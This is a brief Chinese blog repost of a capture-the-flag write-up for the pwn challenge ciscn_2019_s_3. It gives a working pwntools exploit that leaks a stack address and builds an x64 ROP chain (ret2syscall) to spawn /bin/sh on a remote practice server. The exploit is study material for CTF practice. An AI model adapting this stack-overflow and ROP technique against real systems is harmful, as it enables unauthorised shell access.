首页 > 其他分享 >pwn | ciscn_2019_s_3

pwn | ciscn_2019_s_3

时间:2022-12-10 23:23:35浏览次数:74  
标签:pl2 p64 pop sh 2019 pwn ciscn

pwn | ciscn_2019_s_3

x64 ret2syscall
主要参考:https://blog.csdn.net/github_36788573/article/details/103541178

感觉ret2syscall比较灵活,哎。

from pwn import *

context.log_level = 'debug'


# p = process('./ciscn_s_3')
p = remote('node4.buuoj.cn',25448)

main=0x0004004ED
execv=0x04004E2
pop_rdi=0x4005a3
pop_rbx_rbp_r12_r13_r14_r15=0x40059A
mov_rdxr13_call=0x0400580
sys=0x00400517

pl1=b'/bin/sh\x00'*2+p64(main)
p.send(pl1)
p.recv(0x20)
sh=u64(p.recv(8))-280
print(hex(sh))

pl2=b'/bin/sh\x00'*2+p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)*2+p64(sh+0x50)+p64(0)*3
pl2+=p64(mov_rdxr13_call)+p64(execv)
pl2+=p64(pop_rdi)+p64(sh)+p64(sys)
p.send(pl2)

p.interactive()

标签:pl2,p64,pop,sh,2019,pwn,ciscn
From: https://www.cnblogs.com/Mz1-rc/p/16972593.html

相关文章

  • pwn | jarvisoj_level3
    pwn|jarvisoj_level3x86ret2libc非常常规的ret2libcexp:frompwnimport*fromLibcSearcher.LibcSearcherimport*context.log_level='debug'elf=ELF('.......
  • pwn3&4
    pwn第二次作业ret2shellcode适用范围没有后门函数有rwx段(目前的初级题目)方式过程将shellcode写入变量中然后栈溢出劫持retaddr然后执行注意:当可用空间不足时she......
  • 机器人跳跃问题(今日头条2019)
    机器人跳跃问题机器人正在玩一个古老的基于DOS的游戏。游戏中有\(N+1\)座建筑——从0到N编号,从左到右排列。编号为0的建筑高度为0个单位,编号为i的建筑高......
  • NCTF2022 - pwn 部分 wp
    总的来说我出的几题不是很难,主要是想把自己感觉有意思的一些东西分享给大家。ezlogin程序设计周大作业稍加改编出的题目。洞在Tea里,有个数组越界写,为了避开​​\x00​​​截......
  • [极客大挑战 2019]PHP1
    [极客大挑战2019]PHP1提示:有一个良好的备份网站的习惯寻找一个备份文件字典,我在github上找的:scopion/dic:渗透字典,框架信息泄露,备份文件泄露,配置文件泄露。字典(gith......
  • buuoj-[HDCTF2019]Maze
    1.winexe32bitupx1使用脱壳工具这一段是红的,是ida没有为其创建函数堆栈报错的问题,其上一条命令就是常规的动态运算反调试,40102E+1=40102F,在2F处重新生成代码即......
  • vs2017 vs2019秘钥
    VS2017专业版和企业版激活密钥需要的请自取~Enterprise:NJVYC-BMHX2-G77MM-4XJMR-6Q8QFProfessional:KBJFW-NXHK6-W4WJM-CRMQB-G3CDH Visual Studio 2019 Enterprise企......
  • windows2019文件服务器集群,Windows Server2019 故障转移群集
    WindowsServer2019故障转移群集一、前期准备二、故障转移群集安装及设置三、iSCSI存储安装四、为每个节点添加iSCSI存储......
  • AT_nikkei2019_qual_f
    首先$x=1,2,3$的情况很容易处理,然后如果$x=3$无解,那么$x$为任意奇数时均无解,特判即可。然后考虑每次将$x$变为$x+2$后答案以及具体取的宝石如何变化,再分$x$为......
  • java-net-php-python-sceatch在线学习系统2019演示录像计算机毕业设计程序
    OverridetheentrypointofanimageIntroducedinGitLabandGitLabRunner9.4.Readmoreaboutthe extendedconfigurationoptions.Beforeexplainingtheav......